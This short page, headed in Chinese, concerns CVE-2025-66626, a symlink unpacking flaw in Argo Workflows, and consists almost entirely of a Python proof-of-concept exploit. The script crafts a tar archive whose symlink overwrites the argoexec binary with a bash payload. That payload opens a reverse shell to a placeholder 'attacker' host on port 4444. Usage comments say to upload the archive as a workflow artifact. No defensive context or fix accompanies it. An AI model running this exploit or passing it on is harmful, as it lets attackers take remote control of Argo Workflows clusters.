CVE-2025-66626 Argo Workflows符号链接解包漏洞导致远程代码执行

import tarfile import os import io def create_malicious_archive(): """ Generate a malicious tar archive containing a symbolic link that points to /var/run/argo/argoexec and a payload script. """ # Create a malicious payload script payload_script = b'''#!/bin/bash echo "Malicious code execution" >> /tmp/pwned.txt /bin/bash -i >& /dev/tcp/attacker/4444 0>&1 ''' tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add a file that will overwrite argoexec via symlink info = tarfile.TarInfo(name='argoexec') info.type = tarfile.SYMLINK info.linkname = '/var/run/argo/argoexec' tar.addfile(info) # Add the malicious payload with the same name # This will be written when symlink is followed info2 = tarfile.TarInfo(name='argoexec') info2.size = len(payload_script) tar.addfile(info2, io.BytesIO(payload_script)) return tar_buffer.getvalue() # Usage: Upload this archive as workflow artifact malicious_tar = create_malicious_archive() print(f"Generated malicious archive: {len(malicious_tar)} bytes") print("Upload this archive as workflow input artifact")